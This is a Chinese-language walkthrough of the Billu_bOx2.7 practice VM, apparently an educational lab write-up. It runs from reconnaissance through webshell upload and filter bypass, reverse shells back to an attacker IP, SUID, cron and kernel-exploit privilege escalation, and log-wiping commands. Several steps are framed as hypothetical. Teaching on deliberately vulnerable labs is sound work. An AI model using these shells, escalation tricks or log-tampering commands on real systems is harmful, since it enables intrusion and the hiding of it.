Billu_bOx2.7靶机渗透实战:从信息收集到Root权限提升完整解析
2026/7/26 8:06:48 网站建设 项目流程

1. 项目概述:一次从零到Root的实战演练

最近在安全圈里,Billu_bOx2.7这个靶机又火了起来。它被很多朋友称为“Web渗透的经典综合试卷”,原因无他,这个靶机几乎囊括了从信息收集到权限提升的完整攻击链,而且每个环节都设计得相当“刁钻”,非常考验渗透测试者的基本功和思维发散能力。我自己也花了几个晚上,从最初的端口扫描到最后的Root权限获取,完整地走了一遍。整个过程就像在解一个设计精巧的谜题,既有踩坑的懊恼,也有突破的畅快。今天,我就把这次完整的渗透测试过程,连同每一步的思考、踩过的坑以及最终拿到所有Flag的详细步骤,系统地梳理出来。无论你是刚入门Web安全的新手,还是想巩固实战技能的老兵,这篇记录都能提供一个清晰的、可复现的参考路径。

这个靶机环境通常被部署在VMware或VirtualBox这类虚拟化平台上,目标就是模拟一个存在多处漏洞的Web应用服务器。我们的任务,就是扮演攻击者的角色,运用各种技术手段,发现并利用这些漏洞,最终完全控制这台“靶机”,拿到系统最高权限(Root)。整个过程会涉及信息收集、漏洞扫描、Web漏洞利用(如SQL注入、文件上传、XXE、命令执行等)、权限提升等多个阶段。下面,我们就从最基础的网络发现开始,一步步拆解。

2. 环境搭建与信息收集

渗透测试的第一步永远是“知己知彼”。在发起任何攻击之前,我们必须先搞清楚目标是什么、在哪里、开放了哪些服务。

2.1 靶机环境准备与网络发现

首先,你需要一个攻击机环境。最常用的自然是Kali Linux,它集成了我们所需的大部分工具。将Billu_bOx2.7的虚拟机镜像导入VMware或VirtualBox后,启动它,并确保其网络设置为“桥接模式”或与你的Kali攻击机在同一NAT网络下。接下来,就是找出靶机的IP地址。

在Kali中,打开终端,我们使用netdiscovernmap进行局域网主机发现。假设我的Kali IP是192.168.1.105,那么同一网段可能就是192.168.1.0/24

sudo netdiscover -r 192.168.1.0/24

或者使用更安静的nmap扫描:

sudo nmap -sn 192.168.1.0/24

扫描结果中,除了你已知的设备(如你的物理机、路由器),那个陌生的IP很可能就是靶机。在我的测试中,靶机IP是192.168.1.108。记下这个IP,它将是后续所有操作的目标。

注意:靶机的IP地址每次启动可能会变化,这取决于你的DHCP服务器。所以每次开始测试前,都需要重新进行这一步发现。

2.2 全面的端口与服务探测

知道了IP,下一步就是进行详细的端口扫描,摸清靶机对外开放了哪些“门户”。我们使用nmap进行全端口扫描和版本探测。

sudo nmap -sV -sC -p- 192.168.1.108 -T4 -oN nmap_scan.txt
  • -sV: 探测服务版本。
  • -sC: 使用默认的Nmap脚本进行扫描,能发现一些常见漏洞。
  • -p-: 扫描所有65535个端口。
  • -T4: 设置扫描速度,T4是较快的速度,在可控网络内使用。
  • -oN: 将结果输出到文件nmap_scan.txt,方便后续查看。

扫描完成后,我们得到了关键信息:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))

从结果看,靶机只开放了两个端口:

  1. 22端口 (SSH): 运行着OpenSSH 7.9。这是一个远程管理协议,通常是我们后期获取稳定shell或进行横向移动的通道。但直接爆破SSH密码在初期效率较低,我们先记下。
  2. 80端口 (HTTP): 运行着Apache 2.4.38。这是我们的主攻方向,绝大多数Web漏洞都隐藏在这里。

2.3 Web应用初步侦察与目录爆破

既然80端口是Web服务,我们自然要打开浏览器访问一下http://192.168.1.108。初次访问,可能会看到一个简单的页面,或者直接是Apache的默认页。Billu_bOx2.7靶机通常有一个自定义的Web应用。

接下来,使用工具对Web目录和文件进行暴力枚举,寻找隐藏的入口点、后台管理页面、配置文件等。这里我选用gobuster,它速度快,字典丰富。

gobuster dir -u http://192.168.1.108 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bak -t 50
  • dir: 指定进行目录扫描模式。
  • -u: 指定目标URL。
  • -w: 指定字典文件,这里用了Kali自带的common.txt
  • -x: 指定要尝试的文件扩展名。.php.html是网页,.txt.bak可能是备份文件或配置文件,.zip可能是源码包。
  • -t: 指定线程数。

扫描结果可能会发现一些有趣的路径,例如:

  • /index.php
  • /admin/(一个疑似后台的目录)
  • /images/
  • /uploads/(文件上传功能?)
  • /phpmyadmin/(数据库管理界面,这是一个常见突破口)
  • /robots.txt(可能泄露目录信息)
  • /config.php.bak(备份的配置文件,可能包含数据库密码!)

实操心得:目录爆破是信息收集的重中之重,很多漏洞就藏在不起眼的路径里。不要只满足于默认字典,可以尝试dirbuster的中型字典(directory-list-2.3-medium.txt)或者SecLists项目中的字典,效果更好。同时,一定要关注像.bak,.old,.swp这类备份文件,它们往往是信息泄露的源头。

3. 漏洞挖掘与利用:突破Web防线

在信息收集阶段,我们发现了/phpmyadmin/和可能的备份文件。现在,我们开始深入挖掘Web应用本身的漏洞。

3.1 利用phpMyAdmin获取初步立足点

访问http://192.168.1.108/phpmyadmin/,果然看到了phpMyAdmin的登录界面。phpMyAdmin是MySQL数据库的Web管理工具,如果配置不当或密码脆弱,很容易成为突破口。

思路一:默认口令爆破尝试一些常见的默认账号密码组合,如root/root,root/空密码,admin/admin等。但Billu_bOx2.7通常不会这么简单。

思路二:寻找数据库凭据泄露回顾目录扫描结果,如果发现了类似config.php.bak,db_connect.php,settings.inc.php的文件,一定要访问看看。访问http://192.168.1.108/config.php.bak,幸运的话,你会直接下载或看到一个包含数据库连接信息的文件。

例如,文件内容可能如下:

<?php $dbhost = 'localhost'; $dbuser = 'billu'; $dbpass = 'b0x_billu'; $dbname = 'billu'; ?>

实操步骤

  1. 用得到的账号密码(billu/b0x_billu)登录phpMyAdmin。
  2. 登录成功后,在左侧选择billu数据库。
  3. 查看数据库中的表,很可能会发现一个名为usersadmin的表。
  4. 浏览该表数据,你就能看到网站后台管理员的用户名和密码(通常是MD5哈希)。
  5. 使用在线网站(如cmd5.com)或本地工具(如hashcat)尝试破解这个MD5密码。如果密码不够复杂,很快就能破解出来。假设我们破解出明文密码是admin123

重要提示:直接在phpMyAdmin中执行SQL语句是更强大的方法。在SQL标签页输入SELECT * FROM users;即可查看数据。如果密码是加密的,你可以尝试用MySQL内置函数MD5()生成一个你知道密码的哈希,然后直接UPDATE用户表,将管理员密码改成你生成的哈希。例如:UPDATE users SET password = MD5('newpassword') WHERE username = 'admin';。这样你就可以用newpassword登录后台了。

3.2 Web后台漏洞利用与命令执行

用破解或修改后的管理员凭证,登录之前发现的/admin/目录。进入后台后,功能可能包括文章管理、用户管理、文件上传、系统设置等。

关键突破口:文件上传功能后台的文件上传功能是获取Webshell的绝佳途径。我们需要上传一个恶意的PHP文件(俗称“一句话木马”),从而在服务器上执行命令。

  1. 制作Webshell:创建一个名为shell.php的文件,内容如下:

    <?php system($_GET[‘cmd’]); ?>

    这个脚本会接收URL参数cmd的值,并在服务器上执行它。

  2. 绕过上传限制:网站通常会对上传文件进行过滤,比如检查扩展名(不允许.php)、检查文件内容(是否包含<?php)、检查MIME类型等。

    • 扩展名绕过:尝试修改扩展名,如shell.php.jpg,shell.phtml,shell.php5,shell.phar
    • 双扩展名绕过shell.php.jpg,有些程序只检查最后一个扩展名。
    • 修改Content-Type:通过Burp Suite拦截上传请求,将Content-Type: application/x-php改为Content-Type: image/jpeg
    • 利用解析漏洞:例如,Apache的mod_negotiation模块可能导致shell.php.jpg被解析为PHP文件(如果shell.php不存在)。
  3. 上传与访问:在Billu_bOx2.7中,经过测试,可能发现它只检查了扩展名。我们将shell.php改名为shell.php.jpg并上传成功,返回了文件路径,例如/uploads/shell.php.jpg

  4. 执行命令:访问http://192.168.1.108/uploads/shell.php.jpg?cmd=id。如果页面上显示了当前用户的uidgid信息(如uid=33(www-data) gid=33(www-data) groups=33(www-data)),恭喜你,命令执行成功了!这意味着你已经拥有了在Web服务器上以www-data用户身份执行命令的能力。

另一种常见漏洞:SQL注入获取后台密码如果文件上传走不通,或者后台登录密码无法破解,那么前台的SQL注入点可能就是另一个入口。使用sqlmap对发现的可疑参数(如/index.php?id=1)进行自动化检测。

sqlmap -u “http://192.168.1.108/index.php?id=1” --batch --dbs

如果存在注入,sqlmap可以帮你枚举数据库、表、列,最终拖出管理员账号密码,流程与通过phpMyAdmin获取类似。

3.3 获取交互式Shell与内网探测

通过Webshell执行命令很不方便,我们需要一个交互式的Shell,比如bashreverse shell

  1. 使用Netcat获取反向Shell

    • 在攻击机(Kali)上监听一个端口:nc -lvnp 4444
    • 在Webshell中执行反向连接命令:
      http://192.168.1.108/uploads/shell.php.jpg?cmd=nc -e /bin/bash 192.168.1.105 4444
      如果靶机上没有nc,或者nc不支持-e参数,可以尝试其他方法。
  2. 使用Python/PHP获取更稳定的Shell

    • Pythonpython3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.105”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
    • PHPphp -r ‘$sock=fsockopen(“192.168.1.105”,4444);exec(“/bin/bash -i <&3 >&3 2>&3”);’
    • 将这些长命令通过Webshell的cmd参数执行(注意URL编码),或者在Webshell里用echo命令写入一个临时文件再执行。

成功接收到反向Shell后,你就获得了一个基本的命令行环境。首先,升级一下这个Shell,使其更稳定、支持作业控制和历史记录。

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ # 或者 script -qc /bin/bash /dev/null # 然后按 Ctrl+Z 挂起 # 在Kali终端输入:stty raw -echo; fg # 再按一次回车

现在,我们以www-data用户身份在靶机内部了。可以进行初步的内网信息收集:

  • whoami/id: 查看当前用户和权限。
  • uname -a: 查看系统内核版本。
  • cat /etc/passwd: 查看系统用户。
  • ifconfigip a: 查看内网IP,或许有其他网段。
  • netstat -antp: 查看网络连接和监听端口,发现内部服务。
  • ls -la /home: 查看有哪些用户目录,里面可能有第一个Flag。

4. 权限提升:从www-data到Root

拿到www-data的Shell只是万里长征第一步。这个用户权限很低,无法读取/root目录下的最终Flag,也无法进行系统级操作。我们需要进行权限提升(Privilege Escalation)

4.1 自动化信息收集与线索分析

手动检查太慢,我们使用自动化脚本快速收集可能存在的提权线索。最著名的工具是LinEnum.shlinpeas.sh

  1. 将脚本上传到靶机

    • 在攻击机开启HTTP服务:python3 -m http.server 8000
    • 在靶机Shell中下载:wget http://192.168.1.105:8000/linpeas.sh
    • 如果wget没有,可以用curl,或者用Python的SimpleHTTPServer模块下载。
  2. 运行脚本并分析

    chmod +x linpeas.sh ./linpeas.sh

    linpeas会以彩色高亮形式输出高危发现,例如:

    • SUID/SGID文件:具有特殊权限的可执行文件,如果配置不当,可能被用来提权。
    • Cron Jobs:定时任务,如果有任务以Root权限运行且我们可控,可以借此提权。
    • 内核漏洞:系统内核版本存在已知的公开漏洞(Exploit)。
    • 环境变量PATH等环境变量配置不安全。
    • sudo权限:当前用户能以Root身份无需密码运行哪些命令(sudo -l)。

4.2 利用SUID文件提权

linpeas的输出中,SUID/SGID文件部分会被重点标红。我们关注那些不常见的、具有SUID权限的命令。常见的危险SUID程序包括find,vim,bash,nmap(旧版本),more,less,man等。

例如,发现/usr/bin/find具有SUID权限,并且属于Root。

ls -la /usr/bin/find # 输出可能为:-rwsr-xr-x 1 root root ... /usr/bin/find

s位表示SUID。

利用方法

/usr/bin/find . -exec /bin/bash -p \; # 或者 /usr/bin/find / -name test -exec /bin/bash -p \;

-exec参数允许执行命令,-p参数让bash保留特权。执行后,你会获得一个Root Shell。输入whoami验证,应该显示root

其他SUID提权示例

  • Nmap(交互模式):旧版Nmap有--interactive选项,进入后可以执行!sh
  • Vim/Vivim -c ‘:! /bin/bash’vim打开后输入:shell
  • Bashbash -p直接获得Root Shell(如果Bash本身是SUID)。

4.3 利用Cron Jobs提权

检查系统定时任务:

cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ etc.

寻找那些以Root权限运行,并且脚本路径我们具有写入权限的任务。

例如,发现一个任务:

* * * * * root /opt/cleanup.sh

而我们检查发现/opt/cleanup.sh这个文件,www-data用户可以写入。

ls -la /opt/cleanup.sh # 输出:-rwxrwxrwx 1 root root ... /opt/cleanup.sh (权限777,任何人可写)

利用方法

  1. 备份原脚本(可选)。
  2. 编辑/opt/cleanup.sh,在文件开头或结尾加入我们的提权命令,例如:
    #!/bin/bash chmod +s /bin/bash # 或者 bash -c ‘bash -i >& /dev/tcp/192.168.1.105/5555 0>&1’
  3. 等待Cron任务执行(如果是每分钟一次,很快)。如果添加的是chmod +s /bin/bash,那么之后执行bash -p即可提权。如果是反向Shell,则在攻击机监听对应端口。

4.4 内核漏洞提权

linpeas或手动执行uname -a会显示内核版本。例如:Linux billu 4.19.0-16-amd64 ...

我们可以搜索该版本内核是否存在公开的提权漏洞。在攻击机上:

searchsploit linux 4.19.0 privilege escalation

或者去exploit-db.com网站搜索。找到一个合适的漏洞利用代码(Exploit),例如Dirty Pipe(CVE-2022-0847)或Dirty Cow(CVE-2016-5195)的变种。

利用步骤

  1. 在攻击机找到Exploit源码(通常是C语言),例如45010.c
  2. 在攻击机编译(如果跨平台需交叉编译),或者直接将源码传到靶机编译。
    • 传源码:wget http://192.168.1.105:8000/45010.c
    • 靶机编译:gcc 45010.c -o exploit
  3. 在靶机运行编译好的程序:./exploit
  4. 如果漏洞利用成功,通常会直接弹出一个Root Shell。

注意事项:内核漏洞利用有风险,可能导致系统崩溃(蓝屏/死机)。在真实环境中需谨慎,在靶机环境可以大胆尝试。另外,有些Exploit需要根据目标系统稍作修改,比如调整偏移量。

5. 获取Flag与痕迹清理

5.1 定位并读取Flag文件

Billu_bOx2.7靶机通常内置了4个Flag,分布在不同的路径,代表不同的渗透阶段成果。

  1. Flag1 (Web Flag):通常在Web根目录下的某个文件或数据库中。可能在/var/www/html/flag.txt,/var/www/html/index.php源码注释里,或者数据库的某个表中。用find命令搜索:

    find /var/www -name “*flag*” -o -name “*.txt” | grep -i flag find / -name “flag*.txt” 2>/dev/null
  2. Flag2 (User Flag):在某个普通用户的目录下,比如/home/billu/user.txt/home/ubuntu/flag.txt。提权前你可能已经读到。

  3. Flag3 (Privilege Escalation Flag):在Root目录或需要Root权限才能读取的路径,如/root/flag.txt,/root/proof.txt,/etc/root.txt。这需要你完成提权后才能获取。

    cat /root/flag.txt
  4. Flag4 (Final/System Flag):有时会有一个最终Flag,可能藏在更隐蔽的地方,或者需要结合多个漏洞才能拿到,比如在数据库的某个特定表里,或者需要破解一个密码才能访问的路径。仔细阅读每个Flag文件的内容,有时会给出下一个Flag的提示。

5.2 渗透测试后的基本痕迹清理(仅限靶机练习)

在真实的渗透测试中,获得客户授权后,清理痕迹是必要步骤,以避免被蓝队发现。在靶机练习中,了解这些方法也很有必要,但切勿在未授权环境中使用

  1. 清除命令历史:Bash的历史记录保存在~/.bash_history。直接清空文件或退出前执行:

    history -c rm ~/.bash_history unset HISTFILE
  2. 清除Web日志:Apache日志通常在/var/log/apache2/access.log/var/log/apache2/error.log。可以删除或篡改与我们IP相关的记录。

    # 不推荐直接删除,太明显。可以编辑文件删除特定行。 sed -i ‘/192.168.1.105/d’ /var/log/apache2/access.log
  3. 清除Auth日志:记录登录信息的/var/log/auth.log。如果通过SSH爆破或其他方式登录,需要清理。

    sed -i ‘/www-data\|你的用户名/d’ /var/log/auth.log
  4. 删除上传的Webshell和工具:删除/uploads/shell.php.jpg以及上传的linpeas.sh、Exploit程序等。

    rm -f /var/www/html/uploads/shell.php.jpg /tmp/linpeas.sh /tmp/exploit
  5. 恢复修改的系统文件:如果你修改了/etc/passwd/etc/shadow或Cron任务文件,记得恢复原状。

重要声明:上述痕迹清理方法仅用于授权的渗透测试学习和靶机练习,帮助理解攻击者的完整行为链。在未经授权的系统上进行任何操作都是非法的。

6. 总结与反思:从Billu_bOx2.7中学到的

回顾整个Billu_bOx2.7的渗透过程,它像一部经典的“黑客电影”,串联了多个基础但关键的漏洞点。从信息收集发现phpMyAdmin和备份文件,到利用弱口令/信息泄露进入后台;从文件上传获取Webshell,到利用SUID/Cron/内核漏洞完成提权。每一步都对应着现实世界中一种常见的安全疏忽。

对我个人而言,最大的收获不是拿到了Root权限,而是在这个过程中反复锤炼的“思维模式”。比如,当一条路走不通时(如上传.php被禁),要立刻思考有哪些绕过方法(修改扩展名、双写、解析漏洞)。当拿到一个低权限Shell时,要像条件反射一样去运行sudo -l和上传linpeas.sh。这种将工具、命令和攻击链融会贯通的能力,远比记忆单个漏洞的利用方式更重要。

最后,给正在学习的朋友一个建议:不要满足于一次通关。尝试用不同的方法达到同一个目的。比如,不用phpMyAdmin,你能通过前台的SQL注入拿到后台密码吗?不用文件上传,你能通过其他漏洞(比如命令注入)拿到Shell吗?不用那个SUID的find,你能利用其他Cron任务或内核漏洞提权吗?多路径探索,才能真正理解漏洞的本质和防御的薄弱点。靶机练习的终点,应该是你能够自己设计出这样一个环环相扣的漏洞环境,那才是真正学透的标志。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询